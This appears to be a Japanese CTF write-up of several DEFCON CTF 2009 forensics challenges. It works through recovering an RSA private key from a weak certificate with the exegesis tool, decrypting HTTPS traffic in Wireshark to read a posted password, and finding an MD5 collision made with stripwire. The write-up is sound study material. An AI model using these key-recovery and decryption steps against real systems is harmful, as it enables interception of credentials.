00000230  48 7e 40 08 f7 2b 28 f6  c7 52 2c a2 14 a8 80 bb  |H~@..+(..R,.....|
00000240  45 09 b8 67 2d eb 8f 26  6a 67 1c 4f 78 b8 de 08  |E..g-..&jg.Ox...|
00000250  7a 86 b5 4e 05 11 1b 2f  d5 e9 bb dc 7e 03 ae 42  |z..N.../....~..B|
00000260  90 81 52 36 db 1d f5 8d  1b a5 b6 3d 07 bd 5e 7d  |..R6.......=..^}|
00000270  26 04 ea bd 19 4d 74 da  2b 6f 37 49 f5 dd 66 4e  |&....Mt.+o7I..fN|
00000280  71 55 66 37 21 1a 87 7f  fa 57 45 74 20 13 10 1d  |qUf7!....WEt ...|
00000290  ef 37 55 02 01 23 30 0d  06 09 2a 86 48 86 f7 0d  |.7U..#0...*.H...|
000002a0  01 01 05 05 00 03 82 01  01 00 50 d9 49 39 83 19  |..........P.I9..|
000002b0  a4 ef 3a 36 51 6e ef a8  cd af a2 f2 64 a0 ea 71  |..:6Qn......d..q|
000002c0  a1 cf 67 c6 3b 88 04 5a  9b f4 19 f9 8c 66 18 e7  |..g.;..Z.....f..|
000002d0  3a 94 d9 99 48 66 c0 05  86 c0 c4 0b c5 a7 c8 9f  |:...Hf..........|
000002e0  86 04 ca 2a 47 09 b8 b3  d3 29 78 b1 0f 32 9c 99  |...*G....)x..2..|
000002f0  6b 1e 40 87 b6 53 24 15  54 70 e2 12 79 5c 0a ed  |k.@..S$.Tp..y\..|
00000300  89 6f f0 e9 51 6b e9 2b  16 aa d4 7f 86 b2 f1 98  |.o..Qk.+........|
00000310  f1 36 9a 9e 0c 88 0c 00  fa 98 26 fd 63 29 a5 ee  |.6........&.c)..|
00000320  2a 1d d6 4d 22 a8 c6 46  1f 31 c0 29 b7 aa 5b bb  |*..M"..F.1.)..[.|
00000330  75 65 08 fc 63 63 82 67  c4 ea 54 72 74 1f f8 c2  |ue..cc.g..Trt...|
00000340  8a bc a8 02 c0 6a 15 47  fc ab 4a e7 5e 52 8e ec  |.....j.G..J.^R..|
00000350  42 b3 56 4b 67 77 4e 4c  9a 83 3c 5e 51 87 a9 b1  |B.VKgwNL..<^Q...|
00000360  8a a4 c8 46 08 35 b0 72  8a 60 65 5c 59 30 71 0d  |...F.5.r.`e\Y0q.|
00000370  95 91 3c 61 89 9d cb f0  c7 4e 97 97 6c 76 cd 47  |..<a.....N..lv.G|
00000380  cb a2 2c 16 61 a4 64 16  77 94 28 a2 80 ba 3a 90  |..,.a.d.w.(...:.|
00000390  4d 1a b3 c0 46 1e 7b a5  f6 aa 30 ba eb f4 60 db  |M...F.{...0...`.|
000003a0  8d 18 5a 69 dc c5 09 e8  55 c4                    |..Zi....U.|
$ openssl x509 -in cert.bin -inform DER -text -noout
Certificate:
    Data:
        Version: 1 (0x0)
        Serial Number:
            cf:50:e7:6f:f2:43:07:7b
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=AU, ST=Some-State, O=Diutinus Defense Technologies Corp., 
        OU=IT Security, CN=ddtek/emailAddress=talk@ddtek.biz
        Validity
            Not Before: Jun  5 19:59:54 2009 GMT
            Not After : Jun  5 19:59:54 2010 GMT
        Subject: C=AU, ST=Some-State, O=Diutinus Defense Technologies Corp., 
        OU=IT Security, CN=ddtek/emailAddress=talk@ddtek.biz
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:cf:a2:db:24:a3:ec:ea:35:73:af:ce:d6:f3:0c:
                    c7:39:2c:3e:62:62:eb:d7:d0:2b:e0:68:9b:9d:84:
                    a0:ce:2e:08:60:ea:d4:a5:74:bd:5f:68:65:ab:5c:
                    9e:a1:b2:d8:8b:12:0a:54:76:23:fe:1f:4e:2a:70:
                    f4:2b:1c:d3:4d:a7:de:a7:cc:cf:74:35:e6:70:85:
                    21:7f:7d:af:94:39:2e:57:3d:22:c0:96:54:40:b8:
                    72:30:7c:b6:52:6d:03:48:0a:58:35:70:97:8e:3a:
                    68:01:3e:d9:59:5a:a0:95:82:14:68:fb:d8:65:6d:
                    23:52:af:21:2d:30:9b:42:9e:0c:02:87:3a:fc:31:
                    29:d0:c4:a4:01:52:0f:6b:1d:2a:66:16:a8:14:d4:
                    5b:e3:a1:a7:ed:59:9f:2d:48:7e:40:08:f7:2b:28:
                    f6:c7:52:2c:a2:14:a8:80:bb:45:09:b8:67:2d:eb:
                    8f:26:6a:67:1c:4f:78:b8:de:08:7a:86:b5:4e:05:
                    11:1b:2f:d5:e9:bb:dc:7e:03:ae:42:90:81:52:36:
                    db:1d:f5:8d:1b:a5:b6:3d:07:bd:5e:7d:26:04:ea:
                    bd:19:4d:74:da:2b:6f:37:49:f5:dd:66:4e:71:55:
                    66:37:21:1a:87:7f:fa:57:45:74:20:13:10:1d:ef:
                    37:55
                Exponent: 35 (0x23)
    Signature Algorithm: sha1WithRSAEncryption
        50:d9:49:39:83:19:a4:ef:3a:36:51:6e:ef:a8:cd:af:a2:f2:
        64:a0:ea:71:a1:cf:67:c6:3b:88:04:5a:9b:f4:19:f9:8c:66:
        18:e7:3a:94:d9:99:48:66:c0:05:86:c0:c4:0b:c5:a7:c8:9f:
        86:04:ca:2a:47:09:b8:b3:d3:29:78:b1:0f:32:9c:99:6b:1e:
        40:87:b6:53:24:15:54:70:e2:12:79:5c:0a:ed:89:6f:f0:e9:
        51:6b:e9:2b:16:aa:d4:7f:86:b2:f1:98:f1:36:9a:9e:0c:88:
        0c:00:fa:98:26:fd:63:29:a5:ee:2a:1d:d6:4d:22:a8:c6:46:
        1f:31:c0:29:b7:aa:5b:bb:75:65:08:fc:63:63:82:67:c4:ea:
        54:72:74:1f:f8:c2:8a:bc:a8:02:c0:6a:15:47:fc:ab:4a:e7:
        5e:52:8e:ec:42:b3:56:4b:67:77:4e:4c:9a:83:3c:5e:51:87:
        a9:b1:8a:a4:c8:46:08:35:b0:72:8a:60:65:5c:59:30:71:0d:
        95:91:3c:61:89:9d:cb:f0:c7:4e:97:97:6c:76:cd:47:cb:a2:
        2c:16:61:a4:64:16:77:94:28:a2:80:ba:3a:90:4d:1a:b3:c0:
        46:1e:7b:a5:f6:aa:30:ba:eb:f4:60:db:8d:18:5a:69:dc:c5:
        09:e8:55:c4

"Exponent: 35 (0x23)"となっている。通常は65537などが使われる。脆弱?
公開鍵から秘密鍵を得るツール → http://github.com/brl/exegesis

$ ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ubuntu/.ssh/id_rsa): A
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in A.
Your public key has been saved in A.pub.
The key fingerprint is:
69:a5:cb:53:3d:a8:66:ba:06:d3:98:b7:b0:4b:ef:78 ubuntu@ubuntu-vm

適当に対となるRSA鍵を作成
公開鍵は以下のようになる

$ cat A.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt5wrLz6OCHLZA1uPBD9oYoXChv7cdjRuffh+6A5/6
J43kaDmwlZ25jrWWAWtl7U9KumiU1/hnjcjexokSdG/bv609sej40JiVKpRkC2Sl6XHi8uUg9LuVy
yhBWxmTg2kRUH9hSa7s+00rLfJLF8L9I6xqv1sNsW0SL/EXT1kQCP+ImljRzJS9aqv3LABOKmR4+Z
nd1jBR1cX6qTx0U89mrFno2VqMk2y4krrpPRqoRxR3ur8rusZ4iJ79UbKFmm5WhS+VpGSVqNicQsI
h5HLmPG4zVm3vrkxO1ZEePQ/MPbacdvWxukFVRFLSJlHXdLt9erA4fwbt208dw65v1lJsQ== ubun
tu@ubuntu-vm

Base64でデコードする

$ base64 -d > B
AAAAB3NzaC1yc2EAAAABIwAAAQEAt5wrLz6OCHLZA1uPBD9oYoXChv7cdjRuffh+6A5/6J43kaDmwl
Z25jrWWAWtl7U9KumiU1/hnjcjexokSdG/bv609sej40JiVKpRkC2Sl6XHi8uUg9LuVyyhBWxmTg2k
RUH9hSa7s+00rLfJLF8L9I6xqv1sNsW0SL/EXT1kQCP+ImljRzJS9aqv3LABOKmR4+Znd1jBR1cX6q
Tx0U89mrFno2VqMk2y4krrpPRqoRxR3ur8rusZ4iJ79UbKFmm5WhS+VpGSVqNicQsIh5HLmPG4zVm3
vrkxO1ZEePQ/MPbacdvWxukFVRFLSJlHXdLt9erA4fwbt208dw65v1lJsQ==
(Ctrl+D)
$ hexdump -C B
00000000  00 00 00 07 73 73 68 2d  72 73 61 00 00 00 01 23  |....ssh-rsa....#|
00000010  00 00 01 01 00 b7 9c 2b  2f 3e 8e 08 72 d9 03 5b  |.......+/>..r..[|
00000020  8f 04 3f 68 62 85 c2 86  fe dc 76 34 6e 7d f8 7e  |..?hb.....v4n}.~|
00000030  e8 0e 7f e8 9e 37 91 a0  e6 c2 56 76 e6 3a d6 58  |.....7....Vv.:.X|
00000040  05 ad 97 b5 3d 2a e9 a2  53 5f e1 9e 37 23 7b 1a  |....=*..S_..7#{.|
00000050  24 49 d1 bf 6e fe b4 f6  c7 a3 e3 42 62 54 aa 51  |$I..n......BbT.Q|
00000060  90 2d 92 97 a5 c7 8b cb  94 83 d2 ee 57 2c a1 05  |.-..........W,..|
00000070  6c 66 4e 0d a4 45 41 fd  85 26 bb b3 ed 34 ac b7  |lfN..EA..&...4..|
00000080  c9 2c 5f 0b f4 8e b1 aa  fd 6c 36 c5 b4 48 bf c4  |.,_......l6..H..|
00000090  5d 3d 64 40 23 fe 22 69  63 47 32 52 f5 aa af dc  |]=d@#."icG2R....|
000000a0  b0 01 38 a9 91 e3 e6 67  77 58 c1 47 57 17 ea a4  |..8....gwX.GW...|
000000b0  f1 d1 4f 3d 9a b1 67 a3  65 6a 32 4d b2 e2 4a eb  |..O=..g.ej2M..J.|
000000c0  a4 f4 6a a1 1c 51 de ea  fc ae eb 19 e2 22 7b f5  |..j..Q......."{.|
000000d0  46 ca 16 69 b9 5a 14 be  56 91 92 56 a3 62 71 0b  |F..i.Z..V..V.bq.|
000000e0  08 87 91 cb 98 f1 b8 cd  59 b7 be b9 31 3b 56 44  |........Y...1;VD|
000000f0  78 f4 3f 30 f6 da 71 db  d6 c6 e9 05 55 11 4b 48  |x.?0..q.....U.KH|
00000100  99 47 5d d2 ed f5 ea c0  e1 fc 1b b7 6d 3c 77 0e  |.G].........m<w.|
00000110  b9 bf 59 49 b1                                    |..YI.|

20バイト目以降(RSA公開鍵領域)を、cert.binの中にあるRSA公開鍵に置き換える

$ hexdump -C C
00000000  00 00 00 07 73 73 68 2d  72 73 61 00 00 00 01 23  |....ssh-rsa....#|
00000010  00 00 01 01 00 cf a2 db  24 a3 ec ea 35 73 af ce  |........$...5s..|
00000020  d6 f3 0c c7 39 2c 3e 62  62 eb d7 d0 2b e0 68 9b  |....9,>bb...+.h.|
00000030  9d 84 a0 ce 2e 08 60 ea  d4 a5 74 bd 5f 68 65 ab  |......`...t._he.|
00000040  5c 9e a1 b2 d8 8b 12 0a  54 76 23 fe 1f 4e 2a 70  |\.......Tv#..N*p|
00000050  f4 2b 1c d3 4d a7 de a7  cc cf 74 35 e6 70 85 21  |.+..M.....t5.p.!|
00000060  7f 7d af 94 39 2e 57 3d  22 c0 96 54 40 b8 72 30  |.}..9.W="..T@.r0|
00000070  7c b6 52 6d 03 48 0a 58  35 70 97 8e 3a 68 01 3e  ||.Rm.H.X5p..:h.>|
00000080  d9 59 5a a0 95 82 14 68  fb d8 65 6d 23 52 af 21  |.YZ....h..em#R.!|
00000090  2d 30 9b 42 9e 0c 02 87  3a fc 31 29 d0 c4 a4 01  |-0.B....:.1)....|
000000a0  52 0f 6b 1d 2a 66 16 a8  14 d4 5b e3 a1 a7 ed 59  |R.k.*f....[....Y|
000000b0  9f 2d 48 7e 40 08 f7 2b  28 f6 c7 52 2c a2 14 a8  |.-H~@..+(..R,...|
000000c0  80 bb 45 09 b8 67 2d eb  8f 26 6a 67 1c 4f 78 b8  |..E..g-..&jg.Ox.|
000000d0  de 08 7a 86 b5 4e 05 11  1b 2f d5 e9 bb dc 7e 03  |..z..N.../....~.|
000000e0  ae 42 90 81 52 36 db 1d  f5 8d 1b a5 b6 3d 07 bd  |.B..R6.......=..|
000000f0  5e 7d 26 04 ea bd 19 4d  74 da 2b 6f 37 49 f5 dd  |^}&....Mt.+o7I..|
00000100  66 4e 71 55 66 37 21 1a  87 7f fa 57 45 74 20 13  |fNqUf7!....WEt .|
00000110  10 1d ef 37 55                                    |...7U|

Base64エンコード

$ echo 'ssh-rsa '`base64 -w 0 C`' ubuntu@ubuntu-vm' > D.pub
$ cat D.pub
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAz6LbJKPs6jVzr87W8wzHOSw+YmLr19Ar4GibnYSgzi
4IYOrUpXS9X2hlq1yeobLYixIKVHYj/h9OKnD0KxzTTafep8zPdDXmcIUhf32vlDkuVz0iwJZUQLhy
MHy2Um0DSApYNXCXjjpoAT7ZWVqglYIUaPvYZW0jUq8hLTCbQp4MAoc6/DEp0MSkAVIPax0qZhaoFN
Rb46Gn7VmfLUh+QAj3Kyj2x1IsohSogLtFCbhnLeuPJmpnHE94uN4Ieoa1TgURGy/V6bvcfgOuQpCB
UjbbHfWNG6W2PQe9Xn0mBOq9GU102itvN0n13WZOcVVmNyEah3/6V0V0IBMQHe83VQ== ubuntu@ub
untu-vm

あとはexegesisに任せる(使い方はREADMEを参照)

$ ssh-keygen -l -f D.pub
2048 88:81:8d:ca:32:09:4e:87:2d:88:59:31:0b:45:74:b1 D.pub
$ tar zxvf brl-exegesis-3b554ac.tar.gz
$ cd brl-exegesis-3b554ac
$ make
$ ls
COPYING   README            debian    exegesis.c  exegesis.o  sshtool.c  xcrypt
Makefile  README.Packaging  exegesis  exegesis.h  keysets     sshtool.h  xssh
$ cd ..
$ grep 88:81:8d:ca brl-exegesis-3b554ac/keysets/*
brl-exegesis-3b554ac/keysets/rsa_2048_32_le.out:
88:81:8d:ca:32:09:4e:87:2d:88:59:31:0b:45:74:b1 18342 rsa 2048 32 0
$ brl-exegesis-3b554ac/exegesis -t rsa -b 2048 -p 18342
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAz6LbJKPs6jVzr87W8wzHOSw+YmLr19Ar4GibnYSgzi4IYOrU
pXS9X2hlq1yeobLYixIKVHYj/h9OKnD0KxzTTafep8zPdDXmcIUhf32vlDkuVz0i
wJZUQLhyMHy2Um0DSApYNXCXjjpoAT7ZWVqglYIUaPvYZW0jUq8hLTCbQp4MAoc6
/DEp0MSkAVIPax0qZhaoFNRb46Gn7VmfLUh+QAj3Kyj2x1IsohSogLtFCbhnLeuP
JmpnHE94uN4Ieoa1TgURGy/V6bvcfgOuQpCBUjbbHfWNG6W2PQe9Xn0mBOq9GU10
2itvN0n13WZOcVVmNyEah3/6V0V0IBMQHe83VQIBIwKCAQAXutc3YzEE0uimYMgb
xvIya3TYC04nSv2zPye6OwsQP8ZxeexqrkGHPyGP7VP1OQLOELC5MhK99PL9iUB5
9KpvRmKW1ZQNR/0ULHjbXtI801XA08l1GH6oT5gFiph+ctvNuAoUvGkXkaV8fDYY
1yhLmdZyZezYZD6NG1Q/rciZ5fiK/GMEg4IH067v99X5ww+QpnnQzzzUidLFcCEu
WUpQqhb0ejkavRkRI3ZkF1kmiMU5x1nAnH8b7XmzLHlvjkRKQfe2DCLwMylUuEBq
0MKS7GyWrF+JzR4XiyFV4gyWzJkw/ZMh1tcATLOJGrwmn3CGdElCVKmR8XNlhxr4
vfmbAoGBAOyQAGkXiS8+P8iEXQE40fTIykNXS7dkvr9YG5YzVMCEzd+qP+Cm41Vg
kl40mE8Tt2lv6/74z73eVpbUKMTKAo/vbfCvaPwjTW68F6GSSjANGRLlsovuDZJh
glKhF36OaTSD6+uNy7HXj3XnKqnu2GzC+Goa1nzK88TqhUXKLhnnAoGBAOCyZm99
KUjOCKDJPH3o4G1rm7rac1A7LPRVqOakZnN5as6lu6J2eDvri/5gVqnk1EAEbz7Y
QVEJmvkE8B0gZ0/U1ejy3KgQrsQcn9kJo6q/iRIR3r031VyNhAcN67lPA0wotsHk
R+QdG10GkbYwieDbry9oRLHPUP19L55TQtVjAoGBAJt0ko40CbFUytQ5uXXU4b4d
jDrhmCgPAQFlyPxNnhgcwc1+gb+DnLRyqVPZa2cqNrMAZ+IROA8Oc2puKWtgLZHJ
OZ4qIGstJEF0SgsW/Y1Kb5ATSXHlk+PZrWl/zZxO9K17Q0MFaJlwZZafOUsZTGS6
oz5paGCioDDx4ozyk1LZAoGATQn3PCrplU30VGJAoDKWFuMQ0lmGnyo7THUj905P
AwUOrUAjEyFNy2azp6wAdMN7+LEQMs3NQFsQj+RvlPUqvEj44idhmLVDO+yOk45G
vjMKbJhpn/XiwKWMWjCol05KRf9Umj+jnqrkz2/3cao95rG4aAZ989INI7XkcMwW
6hMCgYEAk37dl9nIK+e75DU2QQufWrDDyeNMTwtcYB79qwgqTI1+RzaRjGTh3wOL
82aZX8XG6qbBuvbDRNRW95vRI6uzzTGuzSHuOUyE+W68ZGJsq3lP+V+5fHA068mq
T0XTGVsSyzpoy1QHyVU4s9auVK/2o3hwuTcZ5eko8iIvyqquCQo=
-----END RSA PRIVATE KEY-----
$ brl-exegesis-3b554ac/exegesis -t rsa -b 2048 -p 18342 > pri.key

秘密鍵が出来たので、後はこれをWiresharkに読み込ませてHTTP通信を復元する
メニューの Edit -> Preferences -> Protocols -> SSL -> RSA key list を以下に変更
ssl.keys_list: 192.168.1.43,443,http,C:\Temp\pri.key
"C:\Temp\pri.key"はpri.keyのパス
これでHTTPS通信が復号される
中をのぞくとPOSTにてパスワードがサーバへ送られている

0000  50 4f 53 54 20 2f 6e 65  78 74 2e 68 74 6d 6c 20   POST /ne xt.html 
0010  48 54 54 50 2f 31 2e 31  0d 0a 48 6f 73 74 3a 20   HTTP/1.1 ..Host: 
0020  64 64 74 65 6b 0d 0a 55  73 65 72 2d 41 67 65 6e   ddtek..U ser-Agen
0030  74 3a 20 4d 6f 7a 69 6c  6c 61 2f 35 2e 30 20 28   t: Mozil la/5.0 (
0040  58 31 31 3b 20 55 3b 20  4c 69 6e 75 78 20 69 36   X11; U;  Linux i6
0050  38 36 3b 20 65 6e 2d 55  53 3b 20 72 76 3a 31 2e   86; en-U S; rv:1.
0060  39 2e 30 2e 31 30 29 20  47 65 63 6b 6f 2f 32 30   9.0.10)  Gecko/20
0070  30 39 30 34 32 35 31 33  20 55 62 75 6e 74 75 2f   09042513  Ubuntu/
0080  38 2e 30 34 20 28 68 61  72 64 79 29 20 46 69 72   8.04 (ha rdy) Fir
0090  65 66 6f 78 2f 33 2e 30  2e 31 30 0d 0a 41 63 63   efox/3.0 .10..Acc
00a0  65 70 74 3a 20 74 65 78  74 2f 68 74 6d 6c 2c 61   ept: tex t/html,a
00b0  70 70 6c 69 63 61 74 69  6f 6e 2f 78 68 74 6d 6c   pplicati on/xhtml
00c0  2b 78 6d 6c 2c 61 70 70  6c 69 63 61 74 69 6f 6e   +xml,app lication
00d0  2f 78 6d 6c 3b 71 3d 30  2e 39 2c 2a 2f 2a 3b 71   /xml;q=0 .9,*/*;q
00e0  3d 30 2e 38 0d 0a 41 63  63 65 70 74 2d 4c 61 6e   =0.8..Ac cept-Lan
00f0  67 75 61 67 65 3a 20 65  6e 2d 75 73 2c 65 6e 3b   guage: e n-us,en;
0100  71 3d 30 2e 35 0d 0a 41  63 63 65 70 74 2d 45 6e   q=0.5..A ccept-En
0110  63 6f 64 69 6e 67 3a 20  67 7a 69 70 2c 64 65 66   coding:  gzip,def
0120  6c 61 74 65 0d 0a 41 63  63 65 70 74 2d 43 68 61   late..Ac cept-Cha
0130  72 73 65 74 3a 20 49 53  4f 2d 38 38 35 39 2d 31   rset: IS O-8859-1
0140  2c 75 74 66 2d 38 3b 71  3d 30 2e 37 2c 2a 3b 71   ,utf-8;q =0.7,*;q
0150  3d 30 2e 37 0d 0a 4b 65  65 70 2d 41 6c 69 76 65   =0.7..Ke ep-Alive
0160  3a 20 33 30 30 0d 0a 43  6f 6e 6e 65 63 74 69 6f   : 300..C onnectio
0170  6e 3a 20 6b 65 65 70 2d  61 6c 69 76 65 0d 0a 52   n: keep- alive..R
0180  65 66 65 72 65 72 3a 20  68 74 74 70 73 3a 2f 2f   eferer:  https://
0190  64 64 74 65 6b 2f 74 65  6d 70 2e 68 74 6d 6c 0d   ddtek/te mp.html.
01a0  0a 43 6f 6e 74 65 6e 74  2d 54 79 70 65 3a 20 61   .Content -Type: a
01b0  70 70 6c 69 63 61 74 69  6f 6e 2f 78 2d 77 77 77   pplicati on/x-www
01c0  2d 66 6f 72 6d 2d 75 72  6c 65 6e 63 6f 64 65 64   -form-ur lencoded
01d0  0d 0a 43 6f 6e 74 65 6e  74 2d 4c 65 6e 67 74 68   ..Conten t-Length
01e0  3a 20 33 34 0d 0a 0d 0a  75 73 65 72 3d 64 64 74   : 34.... user=ddt
01f0  65 6b 26 70 61 73 73 77  6f 72 64 3d 30 39 38 37   ek&passw ord=0987
0200  50 4f 49 55 25 33 42 6c  6b 6a                     POIU%3Bl kj      

password=0987POIU%3BlkjというデータがPOSTされている
よって"0987POIU%3Blkj"が答え


exegesisというツールを知っているかどうか?
それがトリビア的(Trivial)な問題だったということだろうか?

DEFCON CTF 2009 Forensics 300

One of these things is not like the other.
http://shallweplayaga.me/forensics/46646289fff26adc096853ae13b7eba6

まず何のファイルか確認

$ file 46646289fff26adc096853ae13b7eba6
46646289fff26adc096853ae13b7eba6: Zip archive data, at least v2.0 to extract

zipで圧縮されている

$ cp 46646289fff26adc096853ae13b7eba6 f300.zip
$ unzip -d files/ f300.zip
....
 extracting: files/FF62671092430BA2AB745A16CB772C2B
  inflating: files/FFA04C787C95327E4923D6E314869FA0
  inflating: files/FFBE6D27C1DA46C1298B65C99DED9904
  inflating: files/FFC4DFE2B96C861792CC91A5EA34DD67
  inflating: files/FFC4FBCCAF5151814D90F9807223D6BC
  inflating: files/FFC5D8E55B22651E7366913F4A1B1A60
  inflating: files/FFCB10F3BF538BFA7289D77A0AD7F5DD
  inflating: files/FFCC1768827A22FA025466B529FBE657
  inflating: files/FFCE78000EEC2F2BEDFFA98F7B22A5DB
  inflating: files/FFE3B13DD224E61DE592506EE07AB5DA
  inflating: files/FFE58ECC317B5D6661967A55C3C3F107
$ cd files

展開すると大量のファイルが展開される
ファイル名をよく見ると先頭が00〜FFまで揃っている
問題文は「他とは異なるひとつ」と言っているため何かの特徴を見つける

$ md5sum * > md5.txt
$ sort md5.txt | uniq -Dw32
0df21559b5e24582cae15e39393c38f2  04CE923AE0A2D4E39B1C55108EC0DDF7
0df21559b5e24582cae15e39393c38f2  99893BF47A011AA674A0932E5B131E29
6caece4f4f1b20354a26f5b074be5108  EE5610E54A9D127F243B8C76DE334031
6caece4f4f1b20354a26f5b074be5108  F21D60B1FE9710677DD261B1BC7F2EB5
7f450b19ae60471a70b9e11c2c96590e  5239871972E224E3DA7F91FE0A5F1794
7f450b19ae60471a70b9e11c2c96590e  E14115E1CF6ABB38E1273E512BEBFAA7
9d9e8dbae4b1929921bbc96085fe6307  4457ABF15FAB9698978B3A50600A8E6A
9d9e8dbae4b1929921bbc96085fe6307  D787C1B17F6CCBBE5E867A9FE161C50E
d84f0fa3e7c497d270a3dd58cd7d4a0c  233C952E9628E8DA39AC33C136D54120
d84f0fa3e7c497d270a3dd58cd7d4a0c  62136B0178A54B6A6CBE04583B585C0B
e38554402d7d73401291695a8f0ff529  57550E8A527E26A7EE44184D8279C3CA
e38554402d7d73401291695a8f0ff529  C0D43D209C89AB0868E1C27229E94FB5
eca0636171cdb0d054cfa1e326dfdd50  00ADF16DBCDACEB251CAFAEC464E94F5
eca0636171cdb0d054cfa1e326dfdd50  F9AD23392E16573C408E5FD7560F84CD

同じmd5を持つファイルが7組だけ見つかる
この中で5239871972E224E3DA7F91FE0A5F1794とE14115E1CF6ABB38E1273E512BEBFAA7は
同じmd5を持つが異なるデータファイルである(衝突が起こっている)

$ diff 5239871972E224E3DA7F91FE0A5F1794 E14115E1CF6ABB38E1273E512BEBFAA7
バイナリー・ファイル
5239871972E224E3DA7F91FE0A5F1794 と
E14115E1CF6ABB38E1273E512BEBFAA7 は違います
$ hexdump -C 5239871972E224E3DA7F91FE0A5F1794 > A
$ hexdump -C E14115E1CF6ABB38E1273E512BEBFAA7 > B
$ diff A B
2,4c2,4
< 00000010  2f ca b5 87 12 46 7e ab  40 04 58 3e b8 fb 7f 89  |/....F~.@.X>....|
< 00000020  55 ad 34 06 09 f4 b3 02  83 e4 88 83 25 71 41 5a  |U.4.........%qAZ|
< 00000030  08 51 25 e8 f7 cd c9 9f  d9 1d bd f2 80 37 3c 5b  |.Q%..........7<[|
---
> 00000010  2f ca b5 07 12 46 7e ab  40 04 58 3e b8 fb 7f 89  |/....F~.@.X>....|
> 00000020  55 ad 34 06 09 f4 b3 02  83 e4 88 83 25 f1 41 5a  |U.4.........%.AZ|
> 00000030  08 51 25 e8 f7 cd c9 9f  d9 1d bd 72 80 37 3c 5b  |.Q%........r.7<[|
6,8c6,8
< 00000050  dd 53 e2 b4 87 da 03 fd  02 39 63 06 d2 48 cd a0  |.S.......9c..H..|
< 00000060  e9 9f 33 42 0f 57 7e e8  ce 54 b6 70 80 a8 0d 1e  |..3B.W~..T.p....|
< 00000070  c6 98 21 bc b6 a8 83 93  96 f9 65 2b 6f f7 2a 70  |..!.......e+o.*p|
---
> 00000050  dd 53 e2 34 87 da 03 fd  02 39 63 06 d2 48 cd a0  |.S.4.....9c..H..|
> 00000060  e9 9f 33 42 0f 57 7e e8  ce 54 b6 70 80 28 0d 1e  |..3B.W~..T.p.(..|
> 00000070  c6 98 21 bc b6 a8 83 93  96 f9 65 ab 6f f7 2a 70  |..!.......e.o.*p|

md5の強衝突性を突破している
http://www.win.tue.nl/hashclash/
同じmd5の異なるファイルを作成する際、Dan Kaminskyのstripwireを使ったと思われる
http://www.securityfocus.com/data/vulnerabilities/exploits/stripwire-1.1.tar.gz

$ sed -ie 's/eval/print/' stripwire.pl
$ perl stripwire.pl -r E14115E1CF6ABB38E1273E512BEBFAA7 > dec1
$ perl stripwire.pl -r 5239871972E224E3DA7F91FE0A5F1794 > dec2
$ cat dec1
$ cat dec2
SFKtg9S9sWRvwwy3BXn11lXBRqP9QfNCanMiv9lYR9UMqEoZsPhiR662r
11YeU8vWoAimLgUPyXjNApBpiu4LCOBw6pvgYQGGKpZiCaq4sRHjLaoWF
Ese2iP7vfvgeIDTHoGNYyYQwiYVLq6wxjJaTkvNKtHANIgBOXWXNO1kFD
CcUYnL3eSvIsShsMbHRJ68xafUq0YxDjrIALyGkKYBjrp4dk67ZIaISYQ
....

stripwireは任意のファイルを元に、md5がぶつかる2つのファイルを生成する
今回作成されたファイルは
5239871972E224E3DA7F91FE0A5F1794 と E14115E1CF6ABB38E1273E512BEBFAA7
どちらかを再度stripwireにかければ、どちらか一方は復号され元ファイルに戻る
今回はdec2、つまり5239871972E224E3DA7F91FE0A5F1794が復号された
よって他のファイルとは違う暗号化されたファイル"5239871972E224E3DA7F91FE0A5F1794"が答え

DEFCON CTF 2009 Forensics 200

Provide the key in its original, unl33t form.
http://shallweplayaga.me/forensics/70b06421d874ba02b7b50f575759cff7

まず何のファイルか確認

$ file 70b06421d874ba02b7b50f575759cff7
70b06421d874ba02b7b50f575759cff7: gzip compressed data, from Unix, 
last modified: Wed Jun  3 03:19:02 2009

gzipで圧縮されている

$ tar xvf 70b06421d874ba02b7b50f575759cff7
key.doc
~426tmp.emf
$ file *
key.doc:     Vim swap file, version 7.4
~426tmp.emf: ASCII text

2つのファイルが展開される
key.docはvimのswapファイル、~426tmp.emfはテキストファイル
とりあえずswapファイルから元のファイルを復元
http://nanasi.jp/articles/howto/file/crash-recovery.html
元ファイルのファイル名は~426tmp.emfに書かれてある

$ cat ~426tmp.emf | more
...

# File marks:
'0  44  0  ~/findthekey

# Jumplist (newest first):
-'  44  0  ~/findthekey
-'  2239  0  ~/findthekey
-'  2234  0  ~/findthekey
-'  1  0  ~/findthekey

# History of marks within files (newest to oldest):

> ~/findthekey
        "       44      0

元ファイル名がfindthekeyだったと仮定して
swapファイルから元ファイルを復元

$ cp key.doc findthekey.swp
$ vi findthekey.swp
b0VIM 7.4^@^@^@^@^P^@^@ai%J^E ^H^@nm^@^@hackerj^@^@^@^@^@^@^@^
@^@^@^@^@^@^@^@^@^@^@^@localhost.localdomain^@^@^@^@^@~hackerj
/findthekey^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^
@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^
...
...
...
...

:recover(":recover"と入力)

スワップファイル "findthekey.swp" を使用中
"~hackerj/findthekey" [新規ディレクトリ]
>>>>>>>>>>>>>
E312: リカバリの最中にエラーが検出されました; 
???で始まる行を参照してください
詳細は ":help E312" を参照してください
>>>>>>>>>>>>>
続けるにはENTERを押すかコマンドを入力してください
(Enterを入力)

(0mp4r1n9 73h53 3><4mpl35 w17h 73h1r p4r45171( 94p (0un73rp4r75 1n (96)
& (97), w3 533 |>47 73h 5y573m471( u53 0f (0mpl3>< 5ym80l5 i$ n3(3554ry
70 1mp053 4n 1n73rpr3741Ng 0n 4 p4r45171( 94p (0n57ru(1Ng. 17 4pp34r5
|>47 73h 4pp34r4n(3 0f p4r45171( 94p5 1n |>0m41n5 r3l471\/3ly 1n4((35518l3
70 0r|>1n4ry 3><7r4(1Ng |>035 n07 4ff3(7 73h 57ru(7ur3 0f 73h 5y573m 0f
8453 rul35 3><(lu51\/3 0f 73h l3><1(0n. 8y (0m81n1n9 4|>jun(1Ng5 &
